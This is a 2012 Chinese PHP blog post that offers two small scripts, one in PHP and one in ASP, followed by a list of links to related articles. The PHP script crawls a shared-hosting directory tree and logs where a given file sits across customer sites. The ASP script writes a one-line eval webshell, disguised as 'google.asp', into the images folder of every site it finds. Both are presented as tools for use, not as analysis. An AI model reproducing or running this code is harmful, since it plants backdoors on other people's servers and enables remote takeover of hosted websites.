php一个找二层目录的小东东


Posted in PHP onAugust 02, 2012

php版

<?php 
set_time_limit(0); 
$path = 'D:/Hosting'; 
$somefile = $_GET['key']; 
$logfile = 'D:/Hosting/6668835/html/images/ennumdir.txt'; 
if (!isset($_SERVER['PHP_AUTH_USER'])) { 
header('WWW-Authenticate: Basic realm="My Realm"'); 
header('HTTP/1.0 401 Unauthorized'); 
echo 'Text to send if user hits Cancel button'; 
exit; 
} else { 
if(is_dir($path) && is_readable($path)) 
{ 
$path2 = ''; 
$handle = opendir($path); 
while(false !== ($filename = readdir($handle))) 
{ 
if($filename{0} != $_GET['dir']) 
{ 
continue; 
} 
/* 
if($filename{1} != $_GET['two']) 
{ 
continue; 
} 
*/ 
//$path2 = $path.'/'.$filename.'/html'; 
$path2 = $path.'/'.$filename; 
if(is_dir($path2) && is_readable($path2)) 
{ 
@$handle2 = opendir($path2); 
while(false !== ($filename2 = readdir($handle2))) 
{ 
if($filename2 == $somefile) 
{ 
//echo'[+]Found !'.$filename2."\n"; 
file_put_contents($logfile,'[+]Found !'.$path2.'/'.$filename2."\n",FILE_APPEND); 
} 
} 
@closedir($handle2); 
} 
} 
file_put_contents($logfile,'[*]LAST '.$path2."\n",FILE_APPEND); 
closedir($handle); 
} 
}

asp版
<% 
Server.ScriptTimeout=500000000 
key = Trim(Request.QueryString("key")) 
msg=" <% eval(rquese(Chr(35)))%" &">" 
Set FSO=Server.CreateObject("Scripting.FileSystemObject") 
Set ServerFolder=FSO.GetFolder("C:\intel") 
Set ServerFolderList=ServerFolder.subfolders 
For Each ServerFileEvery IN ServerFolderList 
' Response.write ServerFileEvery&"</br>" 
If LCase(Left(ServerFileEvery.name, 1)) = LCase(key) Then 
Set sServerFolder=FSO.GetFolder(ServerFileEvery) 
Set sServerFolderList=sServerFolder.subfolders 
For Each sServerFileEvery IN sServerFolderList 
If LCase(sServerFileEvery.name) = "images" Then 
StreamSaveToFile sServerFileEvery & "\google.asp", msg, "UTF-8" 
End If 
Next 
End If 
Next 
Function StreamSaveToFile(sPath, sContent, sCharSet) 
Dim oStream 
If(InStr(sPath, ":") <= 0)Then 
sPath = Replace(sPath, ",", ",") 
sPath = Server.MapPath(sPath) 
sPath = Replace(sPath, ",", ",") 
End If 
Set oStream = Server.CreateObject("Adodb.Stream") 
With oStream 
.Type = 2 
.Mode = 3 
.Open 
.Charset = sCharSet 
.WriteText sContent 
.SaveToFile sPath, 2 
.Close 
End With 
Set oStream = Nothing 
End Function 
%>
PHP 相关文章推荐
php curl_init函数用法
Jan 31 PHP
php中的strpos使用示例
Feb 27 PHP
PHP管理依赖(dependency)关系工具 Composer 安装与使用
Aug 18 PHP
PHP has encountered a Stack overflow问题解决方法
Nov 03 PHP
php定时执行任务设置详解
Feb 06 PHP
php中文繁体和简体相互转换的方法
Mar 21 PHP
php验证码生成代码
Nov 11 PHP
利用PHP生成静态html页面的原理
Sep 30 PHP
PHP实现微信JS-SDK接口选择相册及拍照并上传的方法
Dec 05 PHP
ThinkPHP框架分布式数据库连接方法详解
Mar 14 PHP
ThinkPHP中获取指定日期后工作日的具体日期方法
Oct 14 PHP
PHP 文件写入和读取操作实例详解【必看篇】
Nov 04 PHP
PHP文章采集URL补全函数(FormatUrl)
Aug 02 #PHP
PHP服务器页面间跳转实现方法
Aug 02 #PHP
php中3des加密代码(完全与.net中的兼容)
Aug 02 #PHP
浏览器关闭后,能继续执行的php函数(ignore_user_abort)
Aug 01 #PHP
php读取文件内容至字符串中,同时去除换行、空行、行首行尾空格(Zjmainstay原创)
Jul 31 #PHP
单一index.php实现PHP任意层级文件夹遍历(Zjmainstay原创)
Jul 31 #PHP
php读取txt文件组成SQL并插入数据库的代码(原创自Zjmainstay)
Jul 31 #PHP
You might like
phpwind中的数据库操作类
2007/01/02 PHP
phpinfo 系统查看参数函数代码
2009/06/05 PHP
PHP form 表单传参明细研究
2009/07/17 PHP
yii上传文件或图片实例
2014/04/01 PHP
thinkPHP下的widget扩展用法实例分析
2015/12/26 PHP
PHP抓取及分析网页的方法详解
2016/04/26 PHP
php中通用的excel导出方法实例
2017/12/30 PHP
Laravel中10个有用的用法小结
2019/05/06 PHP
jQuery为iframe的body添加click事件的实现代码
2011/04/07 Javascript
js change,propertychange,input事件小议
2011/12/20 Javascript
jQuery 取值、赋值的基本方法整理
2014/03/31 Javascript
JS组件Bootstrap Table使用方法详解
2016/02/02 Javascript
jQuery轻松实现无缝轮播效果
2017/03/22 jQuery
基于element-ui组件手动实现单选和上传功能
2018/12/06 Javascript
react+ant design实现Table的增、删、改的示例代码
2018/12/27 Javascript
vue实现多组关键词对应高亮显示功能
2019/07/25 Javascript
layui点击左侧导航栏,实现不刷新整个页面,只刷新局部的方法
2019/09/25 Javascript
element-ui table组件如何使用render属性的实现
2019/11/04 Javascript
一看就懂得Python的math模块
2018/10/21 Python
对python读写文件去重、RE、set的使用详解
2018/12/11 Python
Python Cookie 读取和保存方法
2018/12/28 Python
python 画三维图像 曲面图和散点图的示例
2018/12/29 Python
基于python进行抽样分布描述及实践详解
2019/09/02 Python
wxPython+Matplotlib绘制折线图表
2019/11/19 Python
python使用opencv resize图像不进行插值的操作
2020/07/05 Python
解决Pyinstaller打包软件失败的一个坑
2021/03/04 Python
css3实现的下拉菜单效果示例
2014/01/22 HTML / CSS
HTML5 Canvas draw方法制作动画效果示例
2013/07/11 HTML / CSS
欧洲最古老的鞋厂:Peter Kaiser
2019/11/05 全球购物
麦当劳印度网上订餐:McDelivery
2020/03/16 全球购物
怎样声明子类
2013/07/02 面试题
大二法学专业职业生涯规划范文
2014/02/12 职场文书
文明社区申报材料
2014/08/21 职场文书
小学教代会开幕词
2016/03/04 职场文书
JavaScript中关于预编译、作用域链和闭包的理解
2021/03/31 Javascript
python turtle绘图命令及案例
2021/11/23 Python